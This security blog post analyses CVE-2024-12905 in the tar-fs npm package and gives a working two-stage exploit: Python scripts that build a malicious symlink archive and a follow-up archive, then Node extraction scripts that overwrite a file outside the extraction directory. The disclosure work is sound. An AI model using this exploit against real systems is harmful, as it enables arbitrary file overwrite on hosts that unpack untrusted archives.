CVE-2024-12905 - tar-fs Vulnerability Ananlysis and PoC
Vulnerability anaylsis and PoC Development for CVE-2024-12905
Introduction
The tar-fs
npm package is commonly used in JavaScript projects to pack and extract .tar
archive files. However, a critical vulnerability (CVE-2024-12905) affects several versions of this package — specifically:
Versions from 0.0.0 before 1.16.4
Versions from 2.0.0 before 2.1.2
Versions from 3.0.0 before 3.0.7
This vulnerability allows attackers to craft malicious .tar
archives that can write or overwrite files outside the intended extraction directory, potentially leading to arbitrary file write attacks. This kind of flaw poses a serious risk, especially in environments that automatically extract user-provided archives.
In this blog, we’ll dive into the tar-fs
source code and analyze the relevant Git commits before and after the patch to understand how the vulnerability works. We’ll also walk through the process of crafting a proof-of-concept (PoC) exploit to demonstrate its impact.
Vulnerability Analysis
While researching recently published vulnerabilities for a new vulnerable machine concept, I came across CVE-2024-12905. The description immediately piqued my interest, and I was eager to replicate the vulnerability. However, I quickly realized that no public exploit code existed for it.
Determined to explore further, I decided to dive into the patch diffs myself to uncover exactly where the vulnerability was introduced—and more importantly, how it was fixed—so I could develop a working proof of concept (PoC).
Fortunately, the researchers who discovered the vulnerability referenced a specific commit hash in the tar-fs
repository where the issue was addressed: mafintosh/tar-fs@a1dd7e7.
Upon reviewing this commit, I noticed a number of key additions to the code that appeared to patch the underlying issue.
First, on line 123
, a new line was introduced to retrieve the absolute path of the current working directory. This serves as a baseline for validating file paths during extraction.
Then, on lines 221
to 223
, an important security check was added. This logic ensures that when unpacking archives, symbolic links are verified to confirm they do not point to locations outside the current working directory.
As shown in Figure 1, new lines were added to perform these validation checks. This includes a call to the inCwd()
function, which is responsible for ensuring that resolved paths stay within the current working directory.
The actual implementation of inCwd()
can be seen in Figure 2.
Figure 2: Implementation of inCwd()
From these observations, we can begin to pinpoint the core of the vulnerability. In the affected versions of tar-fs
, it is possible to unpack .tar
archives containing symbolic links that point outside the current working directory. This oversight could allow attackers to write or overwrite arbitrary files on the system by leveraging specially crafted archive contents.
Exploit Development
After identifying the vulnerability i moved on to crafting an exploit to prove ths concept. From the vulnerabilty i came to understand that we could submit archives with symbolic links and the affected version of tar-fs
would happily unpack it. The exploitation doesn’t end here as there are two stages involved in successfully obtaining a file write/overwrite.
Stage 1: Creating a tar archive with a symbolic link embedded
In this stage, we use Python to craft a .tar
archive that contains a symbolic link. This symbolic link is configured to point to a specific target file on the system that we intend to overwrite during extraction.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import tarfile
import os
archive_name = 'stage_1.tar'
link_name = 'normal_file'
symlink_target = '../../../../../../../../../home/mcsam/poc' # Replace with traversed path to the file you want to overwrite
# Create symbolic link
os.symlink(symlink_target, link_name)
# Archive the symbolic link
tar = tarfile.open(archive_name, 'w')
tar.add(link_name, recursive=False)
tar.close()
Expected Structure of the stage_1.tar File
When the archive is inspected using tar -tvf
, it should look like this:
1
2
mcsam@0x32:~/tarfs-PoC$ tar -tvf stage_1.tar
lrwxrwxrwx mcsam/mcsam 0 2025-04-18 15:06 normal_file -> ../../../../../../../../../home/mcsam/poc
When stage_1.tar
is unpacked on the target system, the symbolic link normal_file
will be dropped in the extraction directory. This sets up the environment for the next stage, where this symlink could potentially be used to overwrite the target file it points to.
Stage 2: Creating stage_2 tar archive
In this stage, we create another TAR archive named stage_2.tar
. This archive contains a regular file with the same name as the symbolic link we created in Stage 1 (e.g., normal_file
).
The contents of this new file represent the data we intend to write into the target file on the victim system — the one the symbolic link points to.
This can also be achieved using Python.
1
2
3
4
5
6
7
8
import tarfile
path_to_file_to_archive = 'poc'
archive_name = 'stage_2.tar'
tar = tarfile.open(archive_name, 'w')
tar.add(path_to_file_to_archive, 'normal_file') # normal_file: same name as the symbolic link
tar.close()
Expected Structure of the stage_1.tar File
When the archive is inspected using tar -tvf
, it should look like this:
1
2
mcsam@0x32:~/tarfs-PoC$ tar -tvf stage_2.tar
-rw-rw-r-- mcsam/mcsam 19 2025-04-18 15:16 normal_file
What Happens When stage_2.tar is Unpacked
When stage_2.tar
is unpacked by the vulnerable tar-fs
application, it attempts to write the file normal_file
to the file system.
However, recall that a symbolic link named normal_file
already exists on the target (created during Stage 1). As a result, when tar-fs
tries to write to normal_file
in its current working directory, it will follow the symlink and end up overwriting the actual file it points to: ../../../../../../../../../home/mcsam/poc.
This allows us to effectively overwrite an arbitrary file on the target system, provided the process has the necessary write permissions to that file.
Verifying/Testing The Exploit
First, we set up our environment using npm
and install a vulnerable version of tar-fs
:
1
npm install tar-fs@3.0.0
Extracting Stage 1
Next, we create a simple test script named test.js
that uses tar-fs to extract a tar archive:
1
2
3
4
5
const tar = require('tar-fs')
const fs = require('fs')
// Extract stage_1.tar
fs.createReadStream('stage_1.tar').pipe(tar.extract('./output'))
Run the script with:
1
node test.js
Extracting stage 2
Now, we update the script to extract stage_2.tar
instead:
1
2
3
4
5
const tar = require('tar-fs')
const fs = require('fs')
// Extract stage_2.tar
fs.createReadStream('stage_2.tar').pipe(tar.extract('./output'))
Run the script again and voilà — the path traversal takes effect.
/home/mcsam/poc
gets overwritten.